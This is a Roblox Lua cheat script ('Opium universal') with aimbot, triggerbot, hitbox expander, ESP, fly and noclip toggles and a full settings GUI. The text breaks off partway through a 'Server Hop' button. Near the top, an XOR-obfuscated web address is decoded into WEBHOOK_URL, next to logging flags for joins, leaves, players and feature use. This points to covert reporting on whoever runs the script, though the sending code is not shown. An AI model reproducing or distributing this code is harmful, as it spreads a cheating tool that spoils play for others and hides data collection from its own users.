Funktioniert
Opium unliversal

Script-Code
Lua
local Players=game:GetService("Players")
local RunService=game:GetService("RunService")
local UserInput=game:GetService("UserInputService")
local TweenService=game:GetService("TweenService")
local Lighting=game:GetService("Lighting")
local TeleportService=game:GetService("TeleportService")
local HttpService=game:GetService("HttpService")
local Camera=workspace.CurrentCamera
local LocalPlayer=Players.LocalPlayer
local ACCENT=Color3.fromRGB(10,132,255)
local _wk={48,112,49,117,109}
local _wd={88,4,69,5,30,10,95,30,22,12,94,17,67,12,67,84,25,66,22,2,66,20,31,22,2,93,95,80,5,4,31,7,84,23,5,95,31,90,6,66,1,69,3,70,90,9,67,4,66,93,0,67,8,77,88,7,65,4,65,66,125,54,118,6,94,113,65,9,24,90,3,37,114,20,32,70,67,8,25,14,106,72,119,12,50,7,40,122,59,10,67,32,83,16,47,115,27,92,34,8,6,61,110,65,27,126,61,0,24,21,81,67,102,1,58,115,20,4,48,93,121,72,93,6,40,6,17,116}
local WEBHOOK_URL=""
do local o={} for i=1,#_wd do o[i]=string.char(bit32.bxor(_wd[i],_wk[(i-1)%#_wk+1])) end WEBHOOK_URL=table.concat(o) end
local LOG={ Join=true, Leave=true, Players=true, Features=true, Errors=true, LocalFile=true }
local onFeature, opiumLeave
local conns={}
local function track(c) table.insert(conns,c); return c end
local Settings={
Aimbot=false, Triggerbot=false, TeamCheck=true, AimPart="Head", AimMode="Crosshair", AimSmooth=1, AimFOV=120, FOVCircle=false, Hitbox=false, HitboxSize=8,
Ragebot=false, SilentAim=false, HitChance=100, Predict=false, AntiAim="Off",
Boxes=false, Names=false, Distance=true, Tracers=false, Healthbar=false, Chams=false, BoxFill=false, Arrows=false,
Skeleton=false, HeadDot=false, Friends=false, WeaponESP=false, Backtrack=false, Radar=false,
Fullbright=false, NoFog=false, AntiAFK=false, FpsBoost=false, FOV=70, DayTime=14,
NoFall=false, FakeLag=false, FlingMode="Off", Attach=false,
WalkSpeed=16, JumpPower=50, Gravity=196, Fly=false, FlySpeed=50, InfJump=false, Noclip=false, Spinbot=false, SpinSpeed=15, ClickTP=false, AutoBhop=false,
AutoClick=false, CPS=15, Freeze=false, XRay=false, AntiKick=false,
Rainbow=false, Watermark=false, Streamproof=false, ESPRate=1, AutoSave=false, MenuKey="End",
VisCheck=false, Sticky=false, TrigDelay=80, KillAura=false, AuraRange=15,
ESPMaxDist=0, TracerOrigin="Bottom", RainbowChams=false, NPCESP=false, Crosshair=false,
Freecam=false, AntiVoid=false, AutoRejoin=false, Reach=false, ReachSize=8,
Profile="1", Keybinds={},
}
local Colors={Boxes=ACCENT, Names=Color3.fromRGB(255,255,255), Distance=Color3.fromRGB(200,210,225), Tracers=ACCENT, Chams=ACCENT, Accent=ACCENT, Friend=Color3.fromRGB(90,200,255)}
local Layout={Name={x=0.5,y=-0.12}, Distance={x=0.5,y=1.06}, Health={x=-0.07,y=0.5}}
local restyleAccent
local refreshers={}
local friendCache={}
local function cfgFile() return "opium_config_"..tostring(Settings.Profile)..".json" end
local function encC(c) return {math.floor(c.R*255+0.5),math.floor(c.G*255+0.5),math.floor(c.B*255+0.5)} end
local function decC(t) return Color3.fromRGB(t[1],t[2],t[3]) end
local function saveConfig()
local data={Settings={},Colors={},Layout=Layout}
for k,v in pairs(Settings) do data.Settings[k]=v end
for k,v in pairs(Colors) do data.Colors[k]=encC(v) end
pcall(function() writefile(cfgFile(), game:GetService("HttpService"):JSONEncode(data)) end)
end
local function loadConfig()
pcall(function()
if isfile and isfile(cfgFile()) then
local d=game:GetService("HttpService"):JSONDecode(readfile(cfgFile()))
if d.Settings then for k,v in pairs(d.Settings) do Settings[k]=v end end
if d.Colors then for k,v in pairs(d.Colors) do Colors[k]=decC(v) end end
if d.Layout then for k,v in pairs(d.Layout) do Layout[k]=v end end
end
end)
end
loadConfig()
local drawings={}
local function getSet(key)
if not drawings[key] then
local s={box=Drawing.new("Square"),name=Drawing.new("Text"),dist=Drawing.new("Text"),tracer=Drawing.new("Line"),hpbg=Drawing.new("Line"),hpfill=Drawing.new("Line"),arrow=Drawing.new("Triangle")}
s.box.Filled=false; s.name.Center=true; s.name.Outline=true; s.dist.Center=true; s.dist.Outline=true; s.arrow.Filled=true
drawings[key]=s
end
return drawings[key]
end
local function removeKey(key) local s=drawings[key]; if s then for _,d in pairs(s) do d:Remove() end drawings[key]=nil end end
local chams={}
local function setChams(plr, on)
if on then
local ch=plr.Character
local cc=Settings.RainbowChams and Color3.fromHSV(tick()%5/5,0.8,1) or Colors.Chams
if ch and not chams[plr] then
local hl=Instance.new("Highlight"); hl.FillColor=cc; hl.OutlineColor=Color3.fromRGB(255,255,255)
hl.FillTransparency=0.5; hl.OutlineTransparency=0; hl.DepthMode=Enum.HighlightDepthMode.AlwaysOnTop
hl.Adornee=ch; hl.Parent=ch; chams[plr]=hl
elseif chams[plr] then chams[plr].FillColor=cc; if ch and chams[plr].Adornee~=ch then chams[plr].Adornee=ch; chams[plr].Parent=ch end end
else if chams[plr] then chams[plr]:Destroy(); chams[plr]=nil end end
end
track(RunService.RenderStepped:Connect(function()
espTick=(espTick or 0)+1
if Settings.ESPRate>1 and espTick%Settings.ESPRate~=0 then return end
local center=Camera.ViewportSize/2
for _,plr in pairs(Players:GetPlayers()) do
if plr==LocalPlayer then continue end
local key=plr.UserId; local char=plr.Character
local fCol=(Settings.Friends and friendCache[plr.UserId]) and Colors.Friend or nil
setChams(plr, Settings.Chams and char~=nil)
local root=char and char:FindFirstChild("HumanoidRootPart")
local head=char and char:FindFirstChild("Head")
local hum=char and char:FindFirstChildOfClass("Humanoid")
local myRoot=LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if not (root and head and myRoot) then if drawings[key] then for _,d in pairs(drawings[key]) do d.Visible=false end end continue end
local top,onScreen=Camera:WorldToViewportPoint(head.Position+Vector3.new(0,0.5,0))
local bottom=Camera:WorldToViewportPoint(root.Position-Vector3.new(0,3,0))
local s=getSet(key)
if Settings.Arrows and (not onScreen or top.Z<0) then
local v=Vector2.new(top.X,top.Y)-center; if top.Z<0 then v=-v end
if v.Magnitude<1 then v=Vector2.new(0,-1) end
local ang=math.atan2(v.Y,v.X); local rad=math.min(center.X,center.Y)*0.72
local pos=center+Vector2.new(math.cos(ang),math.sin(ang))*rad; local sz=13
s.arrow.PointA=pos+Vector2.new(math.cos(ang),math.sin(ang))*sz
s.arrow.PointB=pos+Vector2.new(math.cos(ang+2.5),math.sin(ang+2.5))*sz
s.arrow.PointC=pos+Vector2.new(math.cos(ang-2.5),math.sin(ang-2.5))*sz
s.arrow.Color=fCol or Colors.Boxes; s.arrow.Visible=true
else s.arrow.Visible=false end
if not onScreen then s.box.Visible=false; s.name.Visible=false; s.dist.Visible=false; s.tracer.Visible=false; s.hpbg.Visible=false; s.hpfill.Visible=false; continue end
local espDist=(myRoot.Position-root.Position).Magnitude
if Settings.ESPMaxDist>0 and espDist>Settings.ESPMaxDist then s.box.Visible=false; s.name.Visible=false; s.dist.Visible=false; s.tracer.Visible=false; s.hpbg.Visible=false; s.hpfill.Visible=false; continue end
local height=(bottom-top).Y; local width=height*0.6
local boxLeft=top.X-width/2; local boxTop=top.Y
local function anchor(rel) return Vector2.new(boxLeft+rel.x*width,boxTop+rel.y*height) end
if Settings.Boxes then s.box.Color=fCol or Colors.Boxes; s.box.Thickness=2; s.box.Filled=Settings.BoxFill; s.box.Transparency=Settings.BoxFill and 0.4 or 1; s.box.Size=Vector2.new(width,height); s.box.Position=Vector2.new(boxLeft,boxTop); s.box.Visible=true else s.box.Visible=false end
if Settings.Names then s.name.Color=fCol or Colors.Names; s.name.Text=plr.Name; s.name.Size=16; s.name.Position=anchor(Layout.Name); s.name.Visible=true else s.name.Visible=false end
if Settings.Distance then s.dist.Color=Colors.Distance; s.dist.Text="["..math.floor((myRoot.Position-root.Position).Magnitude).."m]"; s.dist.Size=14; s.dist.Position=anchor(Layout.Distance); s.dist.Visible=true else s.dist.Visible=false end
if Settings.Tracers then local fromV; if Settings.TracerOrigin=="Top" then fromV=Vector2.new(center.X,0) elseif Settings.TracerOrigin=="Mouse" then fromV=UserInput:GetMouseLocation() else fromV=Vector2.new(center.X,Camera.ViewportSize.Y) end s.tracer.Color=Colors.Tracers; s.tracer.Thickness=1.5; s.tracer.From=fromV; s.tracer.To=Vector2.new(bottom.X,bottom.Y); s.tracer.Visible=true else s.tracer.Visible=false end
if Settings.Healthbar and hum then
local frac=math.clamp(hum.Health/math.max(hum.MaxHealth,1),0,1); local hx=boxLeft+Layout.Health.x*width; local yT,yB=boxTop,boxTop+height
s.hpbg.Thickness=4; s.hpbg.Color=Color3.fromRGB(20,20,20); s.hpbg.From=Vector2.new(hx,yT); s.hpbg.To=Vector2.new(hx,yB); s.hpbg.Visible=true
s.hpfill.Thickness=3; s.hpfill.Color=Color3.fromRGB(math.floor(255*(1-frac)),math.floor(255*frac),55); s.hpfill.From=Vector2.new(hx,yB); s.hpfill.To=Vector2.new(hx,yB-height*frac); s.hpfill.Visible=true
else s.hpbg.Visible=false; s.hpfill.Visible=false end
end
end))
track(Players.PlayerRemoving:Connect(function(plr) removeKey(plr.UserId); if chams[plr] then chams[plr]:Destroy(); chams[plr]=nil end end))
local gui=Instance.new("ScreenGui"); gui.Name="Opium"; gui.ResetOnSpawn=false; gui.IgnoreGuiInset=true
gui.ZIndexBehavior=Enum.ZIndexBehavior.Sibling; gui.Parent=(gethui and gethui()) or game:GetService("CoreGui")
local hud=Instance.new("Frame"); hud.Size=UDim2.new(1,0,1,0); hud.BackgroundTransparency=1; hud.Parent=gui
local function glass(parent,w,h)
local f=Instance.new("Frame"); f.Size=UDim2.new(0,w,0,h); f.BackgroundColor3=Color3.fromRGB(255,255,255); f.BackgroundTransparency=0.82; f.BorderSizePixel=0; f.Parent=parent
Instance.new("UICorner",f).CornerRadius=UDim.new(0,18)
local g=Instance.new("UIGradient",f); g.Rotation=90; g.Color=ColorSequence.new(Color3.fromRGB(255,255,255),Color3.fromRGB(205,212,225)); g.Transparency=NumberSequence.new({NumberSequenceKeypoint.new(0,0.78),NumberSequenceKeypoint.new(1,0.9)})
Instance.new("UIStroke",f).Transparency=0.55
return f
end
local currentPopup
local function bindPick(area,cb)
local active=false
local function upd() local m=UserInput:GetMouseLocation()-area.AbsolutePosition; cb(math.clamp(m.X/area.AbsoluteSize.X,0,1),math.clamp(m.Y/area.AbsoluteSize.Y,0,1)) end
track(area.InputBegan:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 then active=true; upd() end end))
track(UserInput.InputChanged:Connect(function(i) if active and i.UserInputType==Enum.UserInputType.MouseMovement then upd() end end))
track(UserInput.InputEnded:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 then active=false end end))
end
local function openPicker(colorKey,anchorObj)
if currentPopup then currentPopup:Destroy() end
local h,sVal,vVal=Colors[colorKey]:ToHSV()
local pop=Instance.new("Frame"); pop.Size=UDim2.new(0,200,0,180); pop.Position=UDim2.new(0,anchorObj.AbsolutePosition.X-210,0,anchorObj.AbsolutePosition.Y); pop.BackgroundColor3=Color3.fromRGB(28,30,36); pop.BorderSizePixel=0; pop.ZIndex=200; pop.Parent=hud
Instance.new("UICorner",pop).CornerRadius=UDim.new(0,12); local ps=Instance.new("UIStroke",pop); ps.Transparency=0.7
local title=Instance.new("TextLabel"); title.Size=UDim2.new(1,-16,0,20); title.Position=UDim2.new(0,10,0,6); title.BackgroundTransparency=1; title.Text=colorKey.." Farbe"; title.TextColor3=Color3.fromRGB(255,255,255); title.ZIndex=201; title.TextXAlignment=Enum.TextXAlignment.Left; title.Font=Enum.Font.GothamBold; title.TextSize=13; title.Parent=pop
local sv=Instance.new("ImageButton"); sv.Size=UDim2.new(0,140,0,120); sv.Position=UDim2.new(0,10,0,32); sv.BorderSizePixel=0; sv.AutoButtonColor=false; sv.ZIndex=201; sv.Parent=pop; Instance.new("UICorner",sv).CornerRadius=UDim.new(0,8)
local wF=Instance.new("Frame"); wF.Size=UDim2.new(1,0,1,0); wF.BorderSizePixel=0; wF.ZIndex=202; wF.Parent=sv; Instance.new("UICorner",wF).CornerRadius=UDim.new(0,8)
local wg=Instance.new("UIGradient",wF); wg.Transparency=NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(1,1)})
local bF=Instance.new("Frame"); bF.Size=UDim2.new(1,0,1,0); bF.BackgroundColor3=Color3.fromRGB(0,0,0); bF.BorderSizePixel=0; bF.ZIndex=203; bF.Parent=sv; Instance.new("UICorner",bF).CornerRadius=UDim.new(0,8)
local bg=Instance.new("UIGradient",bF); bg.Rotation=90; bg.Transparency=NumberSequence.new({NumberSequenceKeypoint.new(0,1),NumberSequenceKeypoint.new(1,0)})
local svCur=Instance.new("Frame"); svCur.Size=UDim2.new(0,8,0,8); svCur.AnchorPoint=Vector2.new(0.5,0.5); svCur.BackgroundColor3=Color3.fromRGB(255,255,255); svCur.BorderSizePixel=0; svCur.ZIndex=204; svCur.Parent=sv; Instance.new("UICorner",svCur).CornerRadius=UDim.new(1,0); Instance.new("UIStroke",svCur).Color=Color3.fromRGB(0,0,0)
local hue=Instance.new("ImageButton"); hue.Size=UDim2.new(0,22,0,120); hue.Position=UDim2.new(0,160,0,32); hue.BorderSizePixel=0; hue.AutoButtonColor=false; hue.ZIndex=201; hue.Parent=pop; Instance.new("UICorner",hue).CornerRadius=UDim.new(0,6)
local hg=Instance.new("UIGradient",hue); hg.Rotation=90; hg.Color=ColorSequence.new({ColorSequenceKeypoint.new(0.00,Color3.fromRGB(255,0,0)),ColorSequenceKeypoint.new(0.17,Color3.fromRGB(255,255,0)),ColorSequenceKeypoint.new(0.33,Color3.fromRGB(0,255,0)),ColorSequenceKeypoint.new(0.50,Color3.fromRGB(0,255,255)),ColorSequenceKeypoint.new(0.67,Color3.fromRGB(0,0,255)),ColorSequenceKeypoint.new(0.83,Color3.fromRGB(255,0,255)),ColorSequenceKeypoint.new(1.00,Color3.fromRGB(255,0,0))})
local hueCur=Instance.new("Frame"); hueCur.Size=UDim2.new(1,4,0,3); hueCur.AnchorPoint=Vector2.new(0.5,0.5); hueCur.BackgroundColor3=Color3.fromRGB(255,255,255); hueCur.BorderSizePixel=0; hueCur.ZIndex=202; hueCur.Parent=hue
local function refresh() wF.BackgroundColor3=Color3.fromHSV(h,1,1); svCur.Position=UDim2.new(sVal,0,1-vVal,0); hueCur.Position=UDim2.new(0.5,0,h,0); local c=Color3.fromHSV(h,sVal,vVal); Colors[colorKey]=c; if anchorObj:FindFirstChild("Dot") then anchorObj.Dot.BackgroundColor3=c end if colorKey=="Accent" then ACCENT=c; if restyleAccent then restyleAccent() end end end
refresh(); bindPick(sv,function(x,y) sVal=x; vVal=1-y; refresh() end); bindPick(hue,function(_,y) h=y; refresh() end)
local cc; cc=UserInput.InputBegan:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 then local m=UserInput:GetMouseLocation(); local p,z=pop.AbsolutePosition,pop.AbsoluteSize; if m.X<p.X or m.X>p.X+z.X or m.Y<p.Y or m.Y>p.Y+z.Y then task.wait(); pop:Destroy(); cc:Disconnect() end end end)
currentPopup=pop
end
local notifBox=Instance.new("Frame"); notifBox.AnchorPoint=Vector2.new(1,1); notifBox.Position=UDim2.new(1,-14,1,-14); notifBox.Size=UDim2.new(0,240,0,0); notifBox.AutomaticSize=Enum.AutomaticSize.Y; notifBox.BackgroundTransparency=1; notifBox.ZIndex=300; notifBox.Parent=hud
local nll=Instance.new("UIListLayout",notifBox); nll.Padding=UDim.new(0,6); nll.VerticalAlignment=Enum.VerticalAlignment.Bottom; nll.HorizontalAlignment=Enum.HorizontalAlignment.Right; nll.SortOrder=Enum.SortOrder.LayoutOrder
local function notify(text,col)
local t=Instance.new("Frame"); t.Size=UDim2.new(1,0,0,34); t.BackgroundColor3=Color3.fromRGB(20,22,28); t.BackgroundTransparency=1; t.BorderSizePixel=0; t.ZIndex=301; t.Parent=notifBox
Instance.new("UICorner",t).CornerRadius=UDim.new(0,10); local st=Instance.new("UIStroke",t); st.Color=col or ACCENT; st.Transparency=1
local bar=Instance.new("Frame"); bar.Size=UDim2.new(0,3,1,-10); bar.Position=UDim2.new(0,6,0,5); bar.BackgroundColor3=col or ACCENT; bar.BorderSizePixel=0; bar.ZIndex=302; bar.Parent=t; Instance.new("UICorner",bar).CornerRadius=UDim.new(1,0)
local lb=Instance.new("TextLabel"); lb.Size=UDim2.new(1,-20,1,0); lb.Position=UDim2.new(0,16,0,0); lb.BackgroundTransparency=1; lb.Text=text; lb.TextColor3=Color3.fromRGB(255,255,255); lb.TextTransparency=1; lb.TextXAlignment=Enum.TextXAlignment.Left; lb.Font=Enum.Font.GothamMedium; lb.TextSize=13; lb.ZIndex=302; lb.Parent=t
local qi=TweenInfo.new(0.25)
TweenService:Create(t,qi,{BackgroundTransparency=0.1}):Play(); TweenService:Create(st,qi,{Transparency=0.4}):Play(); TweenService:Create(lb,qi,{TextTransparency=0}):Play()
task.delay(2.6,function() TweenService:Create(t,qi,{BackgroundTransparency=1}):Play(); TweenService:Create(st,qi,{Transparency=1}):Play(); TweenService:Create(lb,qi,{TextTransparency=1}):Play(); task.delay(0.3,function() t:Destroy() end) end)
end
local allControls={}
local toggleActions={}
local bindingNow=false
local function makeToggle(parent,text,key,colorKey,onToggle)
local row=Instance.new("Frame"); row.Size=UDim2.new(1,0,0,40); row.BackgroundColor3=Color3.fromRGB(255,255,255); row.BackgroundTransparency=0.88; row.BorderSizePixel=0; row.Parent=parent
Instance.new("UICorner",row).CornerRadius=UDim.new(0,12); Instance.new("UIStroke",row).Transparency=0.82
if colorKey then local dot=Instance.new("Frame"); dot.Name="Dot"; dot.Size=UDim2.new(0,11,0,11); dot.Position=UDim2.new(0,12,0.5,-5); dot.BackgroundColor3=Colors[colorKey]; dot.BorderSizePixel=0; dot.Parent=row; Instance.new("UICorner",dot).CornerRadius=UDim.new(1,0) end
local label=Instance.new("TextLabel"); label.Size=UDim2.new(1,-104,1,0); label.Position=UDim2.new(0,colorKey and 30 or 12,0,0); label.BackgroundTransparency=1; label.Text=text; label.TextColor3=Color3.fromRGB(255,255,255); label.TextXAlignment=Enum.TextXAlignment.Left; label.Font=Enum.Font.GothamMedium; label.TextSize=14; label.Parent=row
local sw=Instance.new("TextButton"); sw.Size=UDim2.new(0,42,0,22); sw.Position=UDim2.new(1,-52,0.5,-11); sw.BackgroundColor3=Settings[key] and ACCENT or Color3.fromRGB(120,120,130); sw.BackgroundTransparency=Settings[key] and 0 or 0.4; sw.Text=""; sw.AutoButtonColor=false; sw.Parent=row; Instance.new("UICorner",sw).CornerRadius=UDim.new(1,0)
local kb=Instance.new("Frame"); kb.Size=UDim2.new(0,16,0,16); kb.Position=Settings[key] and UDim2.new(1,-19,0.5,-8) or UDim2.new(0,3,0.5,-8); kb.BackgroundColor3=Color3.fromRGB(255,255,255); kb.BorderSizePixel=0; kb.Parent=sw; Instance.new("UICorner",kb).CornerRadius=UDim.new(1,0)
local kbtn=Instance.new("TextButton"); kbtn.Size=UDim2.new(0,22,0,18); kbtn.Position=UDim2.new(1,-78,0.5,-9); kbtn.BackgroundColor3=Color3.fromRGB(255,255,255); kbtn.BackgroundTransparency=0.85; kbtn.Text=Settings.Keybinds[key] or ""; kbtn.TextColor3=ACCENT; kbtn.Font=Enum.Font.GothamBold; kbtn.TextSize=10; kbtn.Parent=row; Instance.new("UICorner",kbtn).CornerRadius=UDim.new(0,6)
local function setVisual(on) local ti=TweenInfo.new(0.16,Enum.EasingStyle.Quad); TweenService:Create(sw,ti,{BackgroundColor3=on and ACCENT or Color3.fromRGB(120,120,130),BackgroundTransparency=on and 0 or 0.4}):Play(); TweenService:Create(kb,ti,{Position=on and UDim2.new(1,-19,0.5,-8) or UDim2.new(0,3,0.5,-8)}):Play() end
local function flip() Settings[key]=not Settings[key]; setVisual(Settings[key]); notify(text..": "..(Settings[key] and "ON" or "OFF")); if onToggle then onToggle(Settings[key]) end if onFeature then onFeature(text,Settings[key]) end end
sw.MouseButton1Click:Connect(flip)
toggleActions[key]=flip
table.insert(refreshers,function() setVisual(Settings[key]); kbtn.Text=Settings.Keybinds[key] or "" end)
kbtn.MouseButton1Click:Connect(function() bindingNow=true; kbtn.Text=".."; local c; c=UserInput.InputBegan:Connect(function(inp) if inp.UserInputType==Enum.UserInputType.Keyboard then local n=inp.KeyCode.Name; if n=="Backspace" then Settings.Keybinds[key]=nil; kbtn.Text="" else Settings.Keybinds[key]=n; kbtn.Text=n end c:Disconnect(); task.delay(0.2,function() bindingNow=false end) end end) end)
if colorKey then row.InputBegan:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton2 then openPicker(colorKey,row) end end) end
table.insert(allControls,{row=row,text=text:lower()})
end
local function makeSlider(parent,text,key,min,max,suffix)
local box=Instance.new("Frame"); box.Size=UDim2.new(1,0,0,46); box.BackgroundColor3=Color3.fromRGB(255,255,255); box.BackgroundTransparency=0.88; box.BorderSizePixel=0; box.Parent=parent
Instance.new("UICorner",box).CornerRadius=UDim.new(0,12); Instance.new("UIStroke",box).Transparency=0.82
local label=Instance.new("TextLabel"); label.Size=UDim2.new(1,-24,0,18); label.Position=UDim2.new(0,12,0,5); label.BackgroundTransparency=1; label.Text=text; label.TextColor3=Color3.fromRGB(255,255,255); label.TextXAlignment=Enum.TextXAlignment.Left; label.Font=Enum.Font.GothamMedium; label.TextSize=14; label.Parent=box
local val=Instance.new("TextLabel"); val.Size=UDim2.new(1,-12,0,18); val.Position=UDim2.new(0,0,0,5); val.BackgroundTransparency=1; val.TextColor3=ACCENT; val.TextXAlignment=Enum.TextXAlignment.Right; val.Font=Enum.Font.GothamBold; val.TextSize=13; val.Parent=box
local tr=Instance.new("TextButton"); tr.Size=UDim2.new(1,-24,0,6); tr.Position=UDim2.new(0,12,0,32); tr.BackgroundColor3=Color3.fromRGB(120,120,130); tr.BackgroundTransparency=0.3; tr.Text=""; tr.AutoButtonColor=false; tr.Parent=box; Instance.new("UICorner",tr).CornerRadius=UDim.new(1,0)
local fill=Instance.new("Frame"); fill.BackgroundColor3=ACCENT; fill.BorderSizePixel=0; fill.Parent=tr; Instance.new("UICorner",fill).CornerRadius=UDim.new(1,0)
local function apply(v) v=math.floor(v+0.5); Settings[key]=v; fill.Size=UDim2.new((v-min)/(max-min),0,1,0); val.Text=v..(suffix or "") end
apply(Settings[key]); bindPick(tr,function(x) apply(min+(max-min)*x) end)
table.insert(refreshers,function() apply(Settings[key]) end)
table.insert(allControls,{row=box,text=text:lower()})
end
local function makeCycler(parent,text,key,options)
local row=Instance.new("Frame"); row.Size=UDim2.new(1,0,0,40); row.BackgroundColor3=Color3.fromRGB(255,255,255); row.BackgroundTransparency=0.88; row.BorderSizePixel=0; row.Parent=parent
Instance.new("UICorner",row).CornerRadius=UDim.new(0,12); Instance.new("UIStroke",row).Transparency=0.82
local label=Instance.new("TextLabel"); label.Size=UDim2.new(0.5,0,1,0); label.Position=UDim2.new(0,12,0,0); label.BackgroundTransparency=1; label.Text=text; label.TextColor3=Color3.fromRGB(255,255,255); label.TextXAlignment=Enum.TextXAlignment.Left; label.Font=Enum.Font.GothamMedium; label.TextSize=14; label.Parent=row
local btn=Instance.new("TextButton"); btn.Size=UDim2.new(0,0,0,24); btn.AutomaticSize=Enum.AutomaticSize.X; btn.Position=UDim2.new(1,-8,0.5,-12); btn.AnchorPoint=Vector2.new(1,0); btn.BackgroundColor3=ACCENT; btn.BackgroundTransparency=0.1; btn.Text=Settings[key]; btn.TextColor3=Color3.fromRGB(255,255,255); btn.Font=Enum.Font.GothamBold; btn.TextSize=13; btn.Parent=row
Instance.new("UICorner",btn).CornerRadius=UDim.new(0,8); local p=Instance.new("UIPadding",btn); p.PaddingLeft=UDim.new(0,10); p.PaddingRight=UDim.new(0,10)
local idx=1; for i,o in ipairs(options) do if o==Settings[key] then idx=i end end
btn.MouseButton1Click:Connect(function() idx=idx%#options+1; Settings[key]=options[idx]; btn.Text=Settings[key] end)
table.insert(refreshers,function() btn.Text=Settings[key]; for i,o in ipairs(options) do if o==Settings[key] then idx=i end end end)
table.insert(allControls,{row=row,text=text:lower()})
end
local function makeButton(parent,text,cb)
local btn=Instance.new("TextButton"); btn.Size=UDim2.new(1,0,0,38); btn.BackgroundColor3=ACCENT; btn.BackgroundTransparency=0.12; btn.Text=text; btn.TextColor3=Color3.fromRGB(255,255,255); btn.Font=Enum.Font.GothamBold; btn.TextSize=14; btn.AutoButtonColor=true; btn.Parent=parent
Instance.new("UICorner",btn).CornerRadius=UDim.new(0,12); btn.MouseButton1Click:Connect(cb)
end
local windows={}
local updateDock
local function dragBar(win,bar)
local dr,st,base
bar.InputBegan:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 then dr=true; st=UserInput:GetMouseLocation(); base=win.Position end end)
track(UserInput.InputEnded:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 then dr=false end end))
track(UserInput.InputChanged:Connect(function(i) if dr and i.UserInputType==Enum.UserInputType.MouseMovement then local d=UserInput:GetMouseLocation()-st; win.Position=UDim2.new(base.X.Scale,base.X.Offset+d.X,base.Y.Scale,base.Y.Offset+d.Y) end end))
end
local function makeWindow(name,w,h,pos)
local win=glass(hud,w,h); win.Position=pos; win.Visible=false; win.ZIndex=2
local bar=Instance.new("Frame"); bar.Size=UDim2.new(1,0,0,36); bar.BackgroundTransparency=1; bar.Parent=win
local t=Instance.new("TextLabel"); t.Size=UDim2.new(1,-40,1,0); t.Position=UDim2.new(0,16,0,0); t.BackgroundTransparency=1; t.Text=name; t.TextColor3=Color3.fromRGB(255,255,255); t.TextXAlignment=Enum.TextXAlignment.Left; t.Font=Enum.Font.GothamBold; t.TextSize=17; t.Parent=bar
local x=Instance.new("TextButton"); x.Size=UDim2.new(0,22,0,22); x.Position=UDim2.new(1,-30,0.5,-11); x.BackgroundColor3=Color3.fromRGB(255,90,90); x.BackgroundTransparency=0.1; x.Text=""; x.AutoButtonColor=true; x.Parent=bar; Instance.new("UICorner",x).CornerRadius=UDim.new(1,0)
for _,r in ipairs({45,-45}) do local d=Instance.new("Frame"); d.AnchorPoint=Vector2.new(0.5,0.5); d.Position=UDim2.new(0.5,0,0.5,0); d.Size=UDim2.new(0,11,0,2); d.Rotation=r; d.BackgroundColor3=Color3.fromRGB(255,255,255); d.BorderSizePixel=0; d.Parent=x; Instance.new("UICorner",d).CornerRadius=UDim.new(1,0) end
bar.InputBegan:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 then for _,wd in pairs(windows) do wd.frame.ZIndex=2 end win.ZIndex=3 end end)
dragBar(win,bar); x.MouseButton1Click:Connect(function() win.Visible=false; if updateDock then updateDock() end end)
local body=Instance.new("Frame"); body.Size=UDim2.new(1,-24,1,-46); body.Position=UDim2.new(0,12,0,40); body.BackgroundTransparency=1; body.Parent=win
windows[name]={frame=win}
return win,body
end
local function makeScroll(parent)
local sc=Instance.new("ScrollingFrame"); sc.Size=UDim2.new(1,0,1,0); sc.BackgroundTransparency=1; sc.BorderSizePixel=0; sc.ScrollBarThickness=3; sc.ScrollBarImageColor3=Color3.fromRGB(255,255,255); sc.AutomaticCanvasSize=Enum.AutomaticSize.Y; sc.CanvasSize=UDim2.new(0,0,0,0); sc.Parent=parent
local ll=Instance.new("UIListLayout",sc); ll.Padding=UDim.new(0,8); ll.SortOrder=Enum.SortOrder.LayoutOrder
return sc
end
local _,cb=makeWindow("Combat",250,300,UDim2.new(0.28,0,0.20,0)); local cs=makeScroll(cb)
makeToggle(cs,"Aimbot (hold RMB)","Aimbot"); makeToggle(cs,"Triggerbot","Triggerbot"); makeToggle(cs,"Team Check","TeamCheck")
makeCycler(cs,"Aim Part","AimPart",{"Head","Torso","HRP"}); makeCycler(cs,"Aim Priority","AimMode",{"Crosshair","Distance","Lowest HP"})
makeSlider(cs,"Smoothness","AimSmooth",1,20,"")
makeSlider(cs,"Aim FOV","AimFOV",40,400," px"); makeToggle(cs,"FOV Circle","FOVCircle")
makeToggle(cs,"Hitbox Expander","Hitbox"); makeSlider(cs,"Hitbox Size","HitboxSize",4,30,"")
local vwin,vbody=makeWindow("Visual",440,340,UDim2.new(0.34,0,0.16,0))
local vLeft=Instance.new("Frame"); vLeft.Size=UDim2.new(0,196,1,0); vLeft.BackgroundTransparency=1; vLeft.Parent=vbody; local vs=makeScroll(vLeft)
makeToggle(vs,"Boxes","Boxes","Boxes"); makeToggle(vs,"Box Fill","BoxFill"); makeToggle(vs,"Names","Names","Names"); makeToggle(vs,"Distance","Distance","Distance")
makeToggle(vs,"Tracers","Tracers","Tracers"); makeToggle(vs,"Healthbar","Healthbar"); makeToggle(vs,"Chams","Chams","Chams"); makeToggle(vs,"Off-screen Arrows","Arrows")
local vRight=Instance.new("Frame"); vRight.Size=UDim2.new(1,-208,1,0); vRight.Position=UDim2.new(0,208,0,0); vRight.BackgroundTransparency=1; vRight.Parent=vbody
local _,mb=makeWindow("Misc",250,300,UDim2.new(0.26,0,0.30,0)); local ms=makeScroll(mb)
makeToggle(ms,"Fullbright","Fullbright"); makeToggle(ms,"No Fog","NoFog"); makeToggle(ms,"Anti AFK","AntiAFK")
makeToggle(ms,"FPS Boost","FpsBoost",nil,function(on) if on then pcall(function() setfpscap(0) end) end end)
makeSlider(ms,"Field of View","FOV",40,120,""); makeSlider(ms,"Day Time","DayTime",0,24,"h")
makeButton(ms,"Rejoin",function() pcall(function() TeleportService:Teleport(game.PlaceId,LocalPlayer) end) end)
makeButton(ms,"Server Hop",function()
